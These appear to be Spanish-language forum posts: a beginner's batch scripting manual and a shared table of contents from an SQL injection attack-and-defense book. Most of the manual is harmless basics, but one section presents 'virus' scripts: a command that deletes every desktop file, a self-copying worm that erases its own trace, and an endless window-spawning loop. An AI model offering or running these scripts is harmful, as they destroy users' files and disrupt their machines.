Bien lo que queremos hacer sera primero que nada que nuestra calculadora sume.
El codigo que voy a usar es "+" (mas) Vamos a hacer la calculadora. Vamos a
nuestro famoso algoritmo sintetizado, el programa lo que tendra que hacer sera que
nos pregunte un numero, despues otro y despues que los sume y nos muestre el
resultado en pantalla. Aqui hay un ejemplo simple:

Código:
@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo ¿Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num=  Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo ¿Quieres sumar otra vez?
echo.
set /p sov=  Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.

Bien, esta calculadora es simple, solo con sumar y salir en sus opciones, haz de
pensar
Citar--Que coño hiciste que es eso de if %hacer%==1 o 2 goto :Sumar. No aprendere nada
si no me explicas!!!--

Bien voy a explicarte, el comando "if" (sin comillas) nos hace algo "sì" pasa algo
sino no. El ejemplo es claro nos dice elige entre 1 y 2 y luego el comando "if" nos
dice si en la variable, el resultado es igual a 1 ir a tal etiqueta (etiqueta es
como un menu que se hace con :menu), en la otra si el resultado es "2" goto (ir a)
:Salir (etiqueta). Esa es una de las utilidades de "IF", despues veremos otras.
Ahora te toca a ti hacer una calculadora que sume, reste, divida y multiplique, los
codigos que tienes que usar son estos:

+ = Mas (Sumar)
- = Menos (restar)
* = Por (Multiplicar)
/ = Entre (Dividir)
= = igual (Resultado)

Antes de que se me olvide el comando "set /a" hace operaciones y los guarda en
variables, ejemplo:

Código:
echo Suma
set /a res= 1+1
echo %res%

Código:
echo Multiplicacion
set /a res1= 10/1
echo %res1%


Y asi lo de mas es historia, espero que hayas entendido lo de la calculadora, sino
postea tu duda, comentario o critica.
Vamos ahora con lo del bucle.


¿QUE ES UN BUCLE?

Un bucle es cuando un codigo se repite ciertas veces, por ejemplo en nuestro codigo
hacemos que el comando "start" se repita 10 veces y ese seria un bucle, tambien los
bucles pueden ser infinitos, que el comando start se repita infinitamente. Vamos a
un ejemplo:

Código:
@echo off
start
start
start
start
start
start
start
start
start
start
exit

Citar--¿Que es lo que hace?--
Simple, inicia la consola de ms-dos 10 veces.
Citar--Pero que flogera estar escribiendo 10 veces start para que se habra tal veces--
Si pero eso se te va a facilitar si hechas un poco de imaginacion. (como ya he dicho antes, no les dare todo a la mano, tampoco lo busquen en internet a menos que no den con el resultado, no es que yo sea malo, o no sepa como hacerlo, sino que esto te servira para no ser tan flojos y piensen un poco en lo que deben hacer).

Vamos por otro ejemplo:
Vamos a iniciar un bucle infinito con una gran ayuda que es la etiqueta.

Código:
@echo off
:inicio
start
goto :inicio


Lo que hace esto es, crea una etiqueta llamada "inicio" despues en esa etiqueta
se coloca el comado start, despues se va otra vez a inicio. Lo cual el codigo
primero inicia ms-dos despues como se regresa a esa etiqueta se activa otra vez el
codigo, y asi sucesivamente.
Si eres avanzado seguramente diras:
Citar--Que tonto, eso se puede hacer en 2 lineas de codigo, y segun el lo esta
sintetizando en 4--
Si, si estas en lo correcto (excepto por lo tonto, xD) recuerda que estoy dejando
la mayor parte a la imaginacion del nuevo usuario de batch. Que chiste tendria
decirle como hacerlo si solo lo copea y ya esta, no lo veo un buen aprendizaje,
sino eres de los que quiere aprender con mi metodo, busca otros manuales que hay
en la red (Que son muchisimos).
Bien dado mi discurso, voy ahora a explicar codigos que la mayoria los usamos en los
virus.
Citar--Milagro!!!, por fin voy a aprender lo que me gusta, LOS VIRUS!!!.
Si, si eso es lo que la mayoria de los nuevos usuario quiere aprender, incluso hay
unos que empiezan (o empezaron) buscando "¿Como hacer un virus en Batch?" y asi
llegaron a este foro o quizas a aprender C. Yo en lo personal es lo que mas me
interesa, la programacion y los malwares.
Supongamos que ya sabes lo que es un malware, ya sea virus, worm, troyano, etc.
Partiremos por hacer un simple virus que borre todos los archivos del escritorio.
el codigo sera:

Código:
@echo off
del %homepath%\escritorio\*.*
exit


Este simple code utiliza el comando del (delete) o sea borrar en español o eliminar
Tambien podemos hacerlo con "erase", seria el mismo code pero remplazamos el del
por erase y hace exatamente lo mismo, si quieres mas detalles recuerda usar el "/?".
Recuerda que estamos utilizando una variable de entorno para que nos funcione en
cualquier pc sin tener que especificar la ruta que por lo general seria esta:

C:\Documents and Settings\Usuario\Escritorio

Recuerda que es la mas usada pero hay muchisimos usuario que no tienen "c:\" sino
"Cualquiera:\". Bien ahora vamos a crear un worm lo cual es un gusano, lo que hace
el gusano es repetirse simualtaneamente a si mismo y/o copiarse en otras carpetas
hasta llenar el disco duro, vamos con el ejemplo se va a autocopiar solo una vez en
nuestro escritorio y se va a copiar en el usuario.

Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
exit


Ejecutalo y veraz que en %homepath%\escritorio se ha creado el mismo archivo que
lo creo (que juego de palabras) tambien en %homepath%, el "%0" sirve para referirnos
al archivo que se esta ejecutando, vamos por un ejemplo mas complejo suponiendo que
nuestro archivo se llama "prueba.bat":

Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
start %homepath%\escritorio\prueba.bat
start %homepath%\prueba.bat
del %0
exit


Explicamos el code, nos copea el mismo archivo que se esta ejecutando a el escritorio
y al usuario, despues se ejecutan los archivos nuevos copiados a tal carpeta y
despues se elimina el propio archivo para que no haya "rastro". Recuerda que puedes
modificar el code, con parametros, recuerda usar "/?" (sin comillas) para darte una
idea. El troyano no lo explicare en este manual dado que este es un manual basico.
Creo que ha sido todo lo "basico", es posible que haga otros manuales "medio"
"medio-avanzado" y "avanzado", pero todo a su tiempo, como ya me conoceran algunos, otros no es que no suelo poner cosas conocidas en mis manuales, no he hecho de batch pero de otras cosas si, bien sin mas decirles que seguire con estos manuales, el siguiente sera algo mas de nivel 'medio' y espero les haya gustado las 2 partes de este querido manual. Cualquier duda, propuesta, critica o comentario pues ya saben no duden en hacerla.
Me Despido:
:__ 2Fac3R__:

Manual Nivel Medio --> http://www.hackxcrack.es/batch/5043-manual-batch-nivel-medio-2fac3r.html

EN PDF

PRIMERO --> http://www.multiupload.com/HDQD1WUKVV
2DA PARTE --> http://www.multiupload.com/6MEG25RG5U
NIVEL MEDIO --> http://www.multiupload.com/UFE74WZ1JW
#24
Scripting / Manual Batch desde -1 (By 2Fac3R)
20 Octubre 2011, 22:24 PM
Hola gente hoy vengo a colgar mi pequeño manual super sencillo para los novatos en Batch y que quieran conocer mas el lenguaje. Puede que digas "¿Por qué
"otro"manual desde 0 si ya hay cientos en la red"?, pues mi respuesta es la
siguiente:
Dado que existen muchisimos manuales de Batch (ultimamente el de Alan++) que explican el Batch, he decidido hacerme uno 'diferente', digo eso porque no explicare ciertas cosas que otros manuales si lo hacen, bueno me canse xD, leancelo y veran porque 'Diferente'.

Citar-Ya deja de hablar y ve al grano-
ok ya voy.
Dado mi discurso, empiezo:

¿Bien y que es Batch?
Bueno, es sencillo es un lenguaje de programación de scripting ( o sea, que no necesita compilación para probarlo, si quieres una definición mejor busca en Google), este lenguaje muchos dicen que no es potente, y en parte tienen razón y en partes no, me explico, todo depende de la imaginación que tenga uno para hacer sus codes, bueno la parte verdadera es que con Batch no se puede hacer por ejemplo un Sistema Operativo ( es u ejemplo exagerado, pero sirve como ejemplo, xd) o tampoco es posible crear un Keylogger, por ejemplo, pero si se pueden hacer muchas cosas como; troyano, worm o cualquier tipo de Malware (Claro que no sera igual a uno creado en "C" por ejemplo), pero es muy utli y nos puede servir para varias cosas.
¿Y como que podemos hacer en Batch?
Bueno como ya he dicho se pueden hacer cientos de cosas pero depende de tu
imaginación, como por ejemplo, podemos hacer desde agendas, calculadoras, virus,
etc. Todo depende de tu imaginación y de lo que quieras hacer en Batch?

[SIZE="3"]OTRAS COSAS:[/SIZE]
Primero que nada no me hago responsable del mal uso que este manual pueda llegar
a dar ideas, xd. Otra cosa es que recuerda que Batch es "simple" a que me refiero?,
bueno me refiero  a que no puedes hacer de batch muchas cosas que se pueden hacer
en otros lenguajes de programación como; C, Python, Perl, Pascal, etc. Otra cosa
este manual esta hecho para el aprendizaje por lo tanto, no voy a mostrar el "super
paso a paso" de como se hagan las cosas, si no explico algo es para que te enseñes
a buscar en google o se te quite la verguenza de preguntar a un colega que sepa del
tema, disculpen si esto es latoso pero es necesario para el aprendizaje.

Citar-Ya me estas aburriendo ve al grano-
Ya ya voy, xd.
Empecemos:

¿
COMO HAGO UN PROGRAMA EN BATCH?
Bueno aquí vamos a necesitar el block de notas, y una mente abierta, abrimos el
block de notas 

La estructura de Batch es la siguiente:
Código:
@echo off
<comandos>
Exit

Empecemos por describirlos el "echo off" sirve para que no se muestren los
comandos que nosotros ponemos y el "@" sirve para que no se muestre ese echo off,
"<comandos> es aquí donde van los comandos que vamos a teclear, y "exit" es el
comando para salir del archivo por lotes.

Vamos a un ejemplo muy conocido escribamos:
Código:
@echo off
Echo "Hola mundo"
Exit
el "echo" se usa para mostrar algo en pantalla.

Guárdalo con extensión ".bat" (o sea, guardar como  --> holamundo.bat) y ejecútalo.

Citar--Que coño a pasado solo salio una ventanita negra muy rápido desaparecio, me
estas viendo el pelo o que?--
No, no tranquilo, eso lo hice a propósito para
explicarte otro comando que es el "pause".
Ahora da click derecho sobre "holamundo.bat" y elige "editar", bueno nos salio la
ventanita de Block de notas, bien ahora escribe el siguiente code:

Código:
@echo off
Echo Hola mundo
Pause
Exit


Citar-¿Que ha pasado ahora si mostro el "hola mundo"?-
Como ya dije antes el "pause"
pausa o detiene (xD) los comandos hasta que teclees una tecla, xD.

Bien vamos muy bien, este es el ejemplo que se usa al inicio de todo lenguaje de
programacion. Como ya dije ocupas una mente curiosa y te doy una ayudadita para
conseguir mas informacion de un comando usamos un parametro (-que es un parametro-)
(no te voy a hacerlo facil busca en Google) el cual es "/?" (sin comillas) por
ejemplo abre la shell de windows (inicio-->ejecutar-->cmd-->enter) y escribe "echo
/?" y da enter.

Te ha salido esto?:
Código:
Muestra mensajes o activa y desactiva el eco del comando.

  ECHO [ON | OFF]
  ECHO [mensaje]

Escriba ECHO sin par metros para mostrar la configuraci¢n actual del eco.

Pues bien eso es lo que hace el comando "echo", son diferentes cosas, vdd?.

Citar-Ahh se me ah ocurrido una idea, voy a ver que hace los comandos "exit" y
"pause" que me has enseñado-

Perfecto si eres de los que piensan asi, eso te ayudara mucho en un futuro,
entonces ahora teclea "exit /?" y/o "pause /?".

Bueno, sigamos, espero que hayas entendido mas o menos lo que es un comando, sino
ya sabes que existe Google (yo recomiendo Google pero puedes buscar en tu buscador
favorito ya sea "Altavista", "Yahoo", etc)
-Todo esto se me hace bien pero no me gusta la ventanita negra para mis futuros
programas- Para ello tenemos el comando "Color" usa un poco de imaginacion y esto
te lo dejo a ti. (¿una pista? "/?").
Quieres conocer todos los comandos (o la mayoria) que existen en MS-dos (Batch)?
Pues entonces teclea en la shell "help" y mira los comandos. Te ha salido esto:
Código:

"Para obtener mas informaci¢n acerca de un comando especifico, escriba HELP
seguido del nombre de comando

[code]ASSOC    Muestra o modifica las asociaciones de las extensiones de archivos.
AT       Planifica comandos y programas para ejecutarse en un equipo.
ATTRIB   Muestra o cambia los atributos del archivo.
BREAK    Establece o elimina la comprobaci¢n extendida de Ctrl+C.
CALCS    Muestra o modifica las listas de control de acceso (ACLs) de archivos.
CALL     Llama a un programa por lotes desde otro.
CD       Muestra el nombre del directorio actual o cambia a otro directorio.
CHCP     Muestra o establece el n£mero de p gina de c¢digos activa.
CHDIR    Muestra el nombre del directorio actual o cambia a otro directorio.
CHKDSK   Comprueba un disco y muestra un informe de su estado.
CHKNTFS  Muestra o modifica la comprobaci¢n de disco al iniciar.
CLS      Borra la pantalla.
CMD      Inicia una nueva instancia del int,rprete de comandos de Windows
COLOR    Establece los colores de primer plano y fondo predeterminados de la
         consola.
COMP     Compara el contenido de dos archivos o un conjunto de archivos.
COMPACT  Muestra o cambia el estado de compresi¢n de archivos en particiones
         NTFS.
CONVERT  Convierte vol£menes FAT a vol£menes NTFS. No puede convertir
         la unidad actual.
COPY     Copia uno o m s archivos a otro lugar.
DATE     Muestra o establece la fecha.
DEL      Elimina uno o m s archivos.
DIR      Muestra una lista de archivos y subdirectorios en un directorio.
DISKCOMP Compara el contenido de dos disquetes.
DISKCOPY Copia el contenido de un disquete en otro.
DOSKEY   Edita l¡neas de comando, memoriza comandos y crea macros.
ECHO     Muestra mensajes, o activa y desactiva el eco.
ENDLOCAL Termina la b£squeda de variables de entorno del archivo por lotes.
ERASE    Elimina uno o m s archivos.
EXIT     Sale del programa CMD.EXE (interfaz de comandos).
FC       Compara dos archivos o conjunto de archivos y muestra las diferencias
         entre ellos.
FIND     Busca una cadena de texto en uno o m s archivos.
FINDSTR  Busca cadenas de texto en archivos.
FOR      Ejecuta un comando para cada archivo en un conjunto de archivos.
FORMAT   Da formato a un disco para usarse con Windows.
FTYPE    Muestra o modifica los tipos de archivo utilizados en una asociaci¢n
         de archivos.
GOTO     Direcciona el int,rprete de comandos de Windows a una l¡nea en
         un programa por lotes.
GRAFTABL Permite a Windows mostrar un conjunto de caracteres extendidos
         en modo gr fico.
HELP     Proporciona informaci¢n de ayuda para los comandos de Windows.
IF       Ejecuta procesos condicionales en programas por lotes.
LABEL    Crea, cambia o elimina la etiqueta del volumen de un disco.
MD       Crea un directorio.
MKDIR    Crea un directorio.
MODE     Configura un dispositivo de sistema.
MORE     Muestra la informaci¢n pantalla por pantalla.
MOVE     Mueve uno o m s archivos de un directorio a otro en la misma unidad.
PATH     Muestra o establece una ruta de b£squeda para archivos ejecutables.
PAUSE    Suspende el proceso de un archivo por lotes y muestra un mensaje.
POPD     Restaura el valor anterior del directorio actual guardado por PUSHD.
PRINT    Imprime un archivo de texto.
PROMPT   Cambia el s¡mbolo de comandos de Windows.
PUSHD    Guarda el directorio actual y despu,s lo cambia.
RD       Elimina un directorio.
RECOVER  Recupera la informaci¢n legible de un disco da¤ado o defectuoso.
REM      Graba comentarios en archivos por lotes o CONFIG.SYS.
REN      Cambia el nombre de uno o m s archivos.
RENAME   Cambia el nombre de uno o m s archivos.
REPLACE  Reemplaza archivos.
RMDIR    Elimina un directorio.
SET      Muestra, establece o elimina variables de entorno de Windows.
SETLOCAL Inicia la localizaci¢n de cambios del entorno en un archivo por lotes.
SHIFT    Cambia posici¢n de modificadores reemplazables en archivos por lotes.
SORT     Ordena las entradas.
START    Inicia otra ventana para ejecutar un programa o comando.
SUBST    Asocia una ruta de acceso con una letra de unidad.
TIME     Muestra o establece la hora del sistema.
TITLE    Establece el t¡tulo de la ventana de una sesi¢n de CMD.EXE.
TREE     Muestra gr ficamente la estructura de directorios de una unidad o
         ruta de acceso.
TYPE     Muestra el contenido de un archivo de texto.
VER      Muestra la versi¢n de Windows.
VERIFY   Comunica a Windows si debe comprobar que los archivos se escriben
         de forma correcta en un disco.
VOL      Muestra la etiqueta del volumen y el n£mero de serie del disco.
XCOPY    Copia archivos y  rboles de directorios."

Citar-¿Que, eres brujo o adivino?-
No, no lo soy,xD

Usa un poco de imaginacion para los comandos que no se vayan a explicar aqui.
Vamos a unos ejemplos de algunos comandos, usaremos como ejemplo el comando "start"
vamos:

Código:
@echo off
start [url=http://www.google.com]www.google.com[/url]
pause>nul
exit


Citar-Que coño has hecho porque escribes "pause>nul" si me habias dicho que era solo
"pause"-
Bueno ese es un parametro de "pause" pero no solo de pause se un poco
curioso y prueba.
Citar-No M@m3$ ya no explicas nada-
ok, ok el ">nul" sirve para que no se muestre el
comando es como "@echo off" pero solo para cierto comando, te has fijado que al
ejecutar el codigo no te aparece el "presione una tecla para continuar" pero si
tienes que presionar una tecla para continuar y ha abierto el explorador por
defecto que tengas ya sea el iexplorer, mozilla, chrome, etc. Bueno este es un
ejemplo del comando "start" como su nombre lo indica "inicia" algo. Vamos a otro
ejemplo, supongamos que queremos que nuestro programa haga que muestre "se va a
abrir el internet explorer" y que lo habra, ¿Como lo hariamos?.
Vamos a la practica:
Hagamos un algorito (un algoritmo es una serie de procedimiento que seguira en este
caso nuestro programa).
ALGORITMO:

1: Que no muestre los comandos (@echo off)
2: Que nos muestre "Se va a abrir el internet explorer" (echo ...)
3: Abrir el internet explorer (start...)
4: Pausar nuestro programa (pause | pause>nul)
5: Que se cierre.


Bien, vamos a hacer nuestro programa: (usare "#" para poner comentarios o cadenas")

Código:
@echo off #Vemos que es la "1" de nuestro algoritmo
echo Se va a abrir el internet explorer # 2 de nuestro algoritmo
start iexplorer #3 de nuestro algoritmo.
pause>nul #4
exit #5


Citar-No sirve!!!-
Me lo temia, puede que no sirva por varias cosas, una de ellas seria
que el internet explorer no este en el escritorio, otra seria que el nombre del ie
no es "iexplorer" sino "internetexplorer", otra logica seria que no tengas el
navegador (como yo,xd)
Prueba con otros programas.
Ten en cuenta que no se pone ".exe" ".txt" ni ".com" son las unicas excepciones
que nos da ms-dos. para otras extensiones de archivos se tendra que poner su
extensión. Vamos a otras cosas, explicare los comandos mas basicos que existen
"md", "rd", del,etc. "md" sirve para crear un directorio como nos dijò "help"
su sintaxis es:

MD [unidad:]ruta

vamos a crear una carpeta:

Código:
@echo off
md "nombre_de_carpeta"
pause>nul
exit

y nos ha creado una carpeta en el sitio actual donde esta el batch.
Citar-Se me a ocurrido algo pero no se si se pueda, crear una carpeta en el disco local-
Si se puede aunque no este el batch en el directorio, para ello la sintaxis nos
pide unidad y ruta.
vamos a crear una carpeta con una subcarpeta llamada "b" en la carpeta "a"en el
disco duro llamado "C:"
Para ello hacemos esto:

Código:
@echo off
md c:\a\b
pause>nul
exit


Citar-Pero que hago si mi disco no se llama "c:"-
pues tienes 2 opciones;
1.- simplemente cambiar el nombre por el que tu tengas
2.- Usar una variable de entorno

VARIABLES DE ENTORNO:

Las variables de entorno nos sirve para que en vez de escribir toda la ruta solo
escribamos la variable de entorno y nos sirve para lo mismo (xd, ni yo me entendi,
por eso vamos a la practica para que me entiendas mejor).

En este caso voy a explicar en el ejemplo de "md", suponemos que no tienes tu hd
con el nombre de c:/ sino con x:/ y tu amigo tiene su hd con el nombre f:/ y quieres
que tu programa de crear carpetas sirva tanto en tu pc como en la de tu amigo pepe
Te encuentras con el problema de que si pones:

Código:
@echo off
md x:\a\b\b1\ck
pause>nul
exit


en tu pc funciona, pero al mandarlo a tu amigo pepe, no le funciona porque el tiene
su hd llamado f: y tu pusiste "x:\", bien para ello utilizaremos una variable de
entorno la cual en este caso es: %homedrive%\, ahora vamos a ver nuestro code:

Código:
@echo off
md %homedrive%\a\b\b1\ck
pause>nul
exit


¿Que ha pasado?
Pues es simple la variable de entorno guarda el directorio por defecto de el hd.
ahora manda a tu amigo pepe y veras que le funciona
Vamos a poner otro ejemplo de variable de entorno.
Supongamos que quieres borrar una carpeta que hiciste en la subcarpeta de windows
llamada "system32" que tiene otra subcarpeta llamada "1028" la cual se llama prueba
para ello para crearla tuviste que hacer lo siguiente:

Código:
@echo off
md %homedrive%\WINDOWS\system32\1028\prueba
exit


y para borrala haces esto:

Código:
@echo off
rd %homedrive%\WINDOWS\system32\1028\prueba
exit


Pues te la haz complicado muchisimo, para borrarla con las variables de entorno
seria asi:

Código:
@echo off
md %windir%\system32\1028\prueba
exit


y para borrarla:

Código:
@echo off
rd %windir%\system32\1028\prueba
exit


Espero que hayas entendido lo de las variables de entorno, te pongo las que conozco:

Windows= %windir% 1 | %systemroot%
Archivos de Programa= %programfiles%
Archivos temporales= %TEMP% y %TMP%
Disco Local= %homedrive% | %SYSTEMDRIVE%
Carpeta de User= %userprofile% | %homepath%
Datos de programa = %APPDATA%

Bien explicado esto espero que sea facil el siguiente texto; el cual es sobre las
variables.
[SIZE="4"]Empecemos[/SIZE].- Las variables se escriben entre signos de porcentajes ejemplo.-
%variable%. Una variable como su nombre lo dice varia segun el dato que se le de
por lo general son numeros por ejemplo al hacer una calculadora o en la mayoria de
los programas porque es la forma mas facil para que no haya problemas cuando el
usuario eliga. como no se explicarme -ah en serio?- vamos a la p`practica y a los
ejemplos:

Vamos a poner un ejemplo del archirequetereconocido "Hola %nombre"

Algoritmo sintetizado:

1.- Que nos pregunte nuestro nombre
2.- Que el nombre se guarde en una variable llamada "nombre"
3.- Que nos muestre nuestro nombre
4.- Fin

Vamos a codear
-Pero como lo hago si no me has explicado como guardar el nombre en la variable-
Bueno como ya sabes no soy bueno para explicarme asi que voy directo al ejemplo:

Código:
@echo off
echo ¿Cual es tu nombre?
set /p nombre=
cls
echo ¿Cual es tu apellido?
set /p apellido=
cls
echo ya te reconoci %nombre% %apellido%
echo adios
pause>nul
exit

Que es lo que hizo nuestro programa?, bueno primero que nada nos pregunta cual es
nuestro nombre y al teclear nuestro nombre lo guarda en la variable "nombre" con
el comando set /p y limpia la pantalla con el comando "cls", despues nos pregunta
nuestro apellido y lo guarda en la variable "apellido", limpia la pantalla y nos
dice ya te reconoci %nombre% (muestra lo que pusimos en "¿Cual es tu nombre?")
%apellido% (muestra lo que guardamos en "Cual es tu apellido?"), y nos dice adios
y se cierra el bat.

Aqui termina la primera parte de este manual hecho por mi 2Fac3R. Dudas, sugerencias o criticas opinen, tengan en cuenta que estoy enseñando lo basico para que se entienda sabemos que muchas cosas que aqui estan se pueden hacer con menos lineas, aqui hable poco realmente de lo que es batch, en la siguiente parte me basare mas en la practica y no en la teoria, haremos una calculadora, un bucle, worm y quiza mas cosas. Por mientras trata de estudiar los comandos que vimos en "help".

Zalu2


EN PDF:

PRIMERO --> http://www.multiupload.com/HDQD1WUKVV
2DA PARTE --> http://www.multiupload.com/6MEG25RG5U
NIVEL MEDIO --> http://www.multiupload.com/UFE74WZ1JW[/code]
#25
Un manual muy completo de Ataques y defensa de las SQLi:

CONTENIDO:
Citar
Chapter 1 What Is SQL Injection?. 1
Introduction . 2
Understanding How Web Applications Work. 2
A Simple Application Architecture. 4
A More Complex Architecture. 5
Understanding SQL Injection. 6
High-Profile Examples. 10
Understanding How It Happens. 13
Dynamic String Building . 13
Incorrectly Handled Escape Characters. 14
Incorrectly Handled Types . 15
Incorrectly Handled Query Assembly. 17
Incorrectly Handled Errors. 18
Incorrectly Handled Multiple Submissions . 19
Insecure Database Configuration. 21
Summary. 24
Solutions Fast Track. 24
Frequently Asked Questions. 26
Chapter 2 Testing for SQL Injection. 29
Introduction . 30
Finding SQL Injection. 30
Testing by Inference. 31
Identifying Data Entry. 31
GET Requests . 31
POST Requests . 32
Other Injectable Data . 35
Manipulating Parameters . 36
Information Workf low. 39
Database Errors . 40
Commonly Displayed SQL Errors . 41
Microsoft SQL Server Errors. 41
MySQL Errors . 46
Oracle Errors . 49
ix
More free ebooks : http://fast-file.blogspot.com
x Contents
Application Response. 51
Generic Errors. 51
HTTP Code Errors. 54
Different Response Sizes . 55
Blind Injection Detection. 56
Confirming SQL Injection. 60
Differentiating Numbers and Strings. 61
Inline SQL Injection . 62
Injecting Strings Inline. 62
Injecting Numeric Values Inline. 65
Terminating SQL Injection. 68
Database Comment Syntax. 69
Using Comments. 70
Executing Multiple Statements. 74
Time Delays. 79
Automating SQL Injection Discovery. 80
Tools for Automatically Finding SQL Injection . 81
HP WebInspect . 81
IBM Rational AppScan . 83
HP Scrawlr. 85
SQLiX . 87
Paros Proxy. 88
Summary. 91
Solutions Fast Track. 91
Frequently Asked Questions. 93
Chapter 3 Reviewing Code for SQL Injection . 95
Introduction . 96
Reviewing Source Code for SQL Injection. 96
Dangerous Coding Behaviors . 98
Dangerous Functions . 105
Following the Data. 109
Following Data in PHP. 110
Following Data in Java. 114
Following Data in C#. 115
Reviewing PL/SQL and T-SQL Code. 117
Automated Source Code Review. 124
Yet Another Source Code Analyzer (YASCA) . 125
Pixy. 126
AppCodeScan . 127
More free ebooks : http://fast-file.blogspot.com
Contents xi
LAPSE. 127
Security Compass Web Application Analysis Tool (SWAAT). 128
Microsoft Source Code Analyzer for SQL Injection. 128
Microsoft Code Analysis Tool .NET (CAT.NET). 129
Commercial Source Code Review Tools. 129
Ounce. 131
Source Code Analysis. 131
CodeSecure. 132
Summary. 133
Solutions Fast Track. 133
Frequently Asked Questions. 135
Chapter 4 Exploiting SQL Injection . 137
Introduction . 138
Understanding Common Exploit Techniques. 139
Using Stacked Queries. 141
Identifying the Database. 142
Non-Blind Fingerprint. 142
Banner Grabbing. 144
Blind Fingerprint. 146
Extracting Data through UNION Statements. 148
Matching Columns. 149
Matching Data Types . 151
Using Conditional Statements. 156
Approach 1: Time-based. 157
Approach 2: Error-based. 159
Approach 3: Content-based. 161
Working with Strings. 161
Extending the Attack . 163
Using Errors for SQL Injection. 164
Error Messages in Oracle . 167
Enumerating the Database Schema. 170
SQL Server . 171
MySQL. 177
Oracle. 180
Escalating Privileges. 183
SQL Server . 184
Privilege Escalation on Unpatched Servers . 189
Oracle. 190
More free ebooks : http://fast-file.blogspot.com
xii Contents
Stealing the Password Hashes . 192
SQL Server . 192
MySQL. 194
Oracle. 194
Oracle Components. 196
APEX. 196
Oracle Internet Directory . 197
Out-of-Band Communication . 198
E-mail. 199
Microsoft SQL Server . 199
Oracle. 202
HTTP/DNS. 203
File System. 203
SQL Server. 204
MySQL. 207
Oracle. 208
Automating SQL Injection Exploitation. 208
Sqlmap. 208
Sqlmap Example . 209
Bobcat. 211
BSQL . 212
Other Tools . 214
Summary. 215
Solutions Fast Track. 215
Frequently Asked Questions. 218
Chapter 5 Blind SQL Injection Exploitation. 219
Introduction . 220
Finding and Confirming Blind SQL Injection. 221
Forcing Generic Errors. 221
Injecting Queries with Side Effects. 222
Spitting and Balancing . 222
Common Blind SQL Injection Scenarios . 225
Blind SQL Injection Techniques. 225
Inference Techniques. 226
Increasing the Complexity of Inference Techniques. 230
Alternative Channel Techniques. 234
Using Time-Based Techniques. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235
Delaying Database Queries. 235
MySQL Delays . 235
More free ebooks : http://fast-file.blogspot.com
Contents xiii
Generic MySQL Binary Search Inference Exploits . 237
Generic MySQL Bit-by-Bit Inference Exploits. 237
SQL Server Delays. 238
Generic SQL Server Binary Search Inference Exploits. 240
Generic SQL Server Bit-by-Bit Inference Exploits . 240
Oracle Delays . 240
Time-Based Inference Considerations. 241
Using Response-Based Techniques. 242
MySQL Response Techniques. 242
SQL Server Response Techniques. 244
Oracle Response Techniques. 246
Returning More Than One Bit of Information. 247
Using Alternative Channels. 249
Database Connections. 250
DNS Exfiltration . 251
E-mail Exfiltration. 255
HTTP Exfiltration. 256
Automating Blind SQL Injection Exploitation. 258
Absinthe . 258
BSQL Hacker . 260
SQLBrute . 263
Sqlninja. 264
Squeeza. 265
Summary. 267
Solutions Fast Track. 267
Frequently Asked Questions. 270
Chapter 6 Exploiting the Operating System. 271
Introduction . 272
Accessing the File System. 273
Reading Files. 273
MySQL. 274
Microsoft SQL Server . 280
Oracle. 289
Writing Files . 291
MySQL. 292
Microsoft SQL Server . 295
Oracle. 300
Executing Operating System Commands. 301
Direct Execution . 301
More free ebooks : http://fast-file.blogspot.com
xiv Contents
Oracle. 301
DBMS_SCHEDULER. 302
PL/SQL Native. 302
Other Possibilities. 303
Alter System Set Events. 303
PL/SQL Native 9i. 303
Buffer Overflows. 304
Custom Application Code. 304
MySQL. 304
Microsoft SQL Server . 305
Consolidating Access . 309
Summary. 312
Solutions Fast Track. 312
Frequently Asked Questions. 314
Endnotes. 315
Chapter 7 Advanced Topics . 317
Introduction . 318
Evading Input Filters . 318
Using Case Variation. 319
Using SQL Comments. 319
Using URL Encoding . 320
Using Dynamic Query Execution. 322
Using Null Bytes. 323
Nesting Stripped Expressions . 324
Exploiting Truncation. 324
Bypassing Custom Filters . 326
Using Non-Standard Entry Points. 327
Exploiting Second-Order SQL Injection. 329
Finding Second-Order Vulnerabilities. 332
Using Hybrid Attacks. 335
Leveraging Captured Data. 335
Creating Cross-Site Scripting . 335
Running Operating System Commands on Oracle . 336
Exploiting Authenticated Vulnerabilities. 337
Summary. 338
Solutions Fast Track. 338
Frequently Asked Questions. 340
More free ebooks : http://fast-file.blogspot.com
Contents xv
Chapter 8 Code-Level Defenses. 341
Introduction . 342
Using Parameterized Statements. 342
Parameterized Statements in Java. 344
Parameterized Statements in .NET (C#). 345
Parameterized Statements in PHP. 347
Parameterized Statements in PL/SQL. 348
Validating Input. 349
Whitelisting. 349
Blacklisting. 351
Validating Input in Java. 353
Validating Input in .NET. 354
Validating Input in PHP. 354
Encoding Output. 355
Encoding to the Database. 355
Encoding for Oracle . 356
Oracle dbms_assert. 357
Encoding for Microsoft SQL Server. 359
Encoding for MySQL. 360
Canonicalization . 362
Canonicalization Approaches. 363
Working with Unicode . 364
Designing to Avoid the Dangers of SQL Injection. 365
Using Stored Procedures. 366
Using Abstraction Layers. 367
Handling Sensitive Data. 368
Avoiding Obvious Object Names. 369
Setting Up Database Honeypots . 370
Additional Secure Development Resources. 371
Summary. 373
Solutions Fast Track. 373
Frequently Asked Questions. 375
Chapter 9 Platform-Level Defenses. 377
Introduction . 378
Using Runtime Protection. 378
Web Application Firewalls. 379
Using ModSecurity. 380
Configurable Rule Set. 380
Request Coverage. 383
More free ebooks : http://fast-file.blogspot.com
xvi Contents
Request Normalization. 383
Response Analysis. 384
Intrusion Detection Capabilities. 385
Intercepting Filters. 386
Web Server Filters. 386
Application Filters. 389
Implementing the Filter Pattern in Scripted Languages . 390
Filtering Web Service Messages. 391
Non-Editable versus Editable Input Protection. 391
URL/Page-Level Strategies. 392
Page Overriding . 392
URL Rewriting . 393
Resource Proxying/Wrapping . 393
Aspect-Oriented Programming (AOP) . 393
Application Intrusion Detection Systems (IDSs). 394
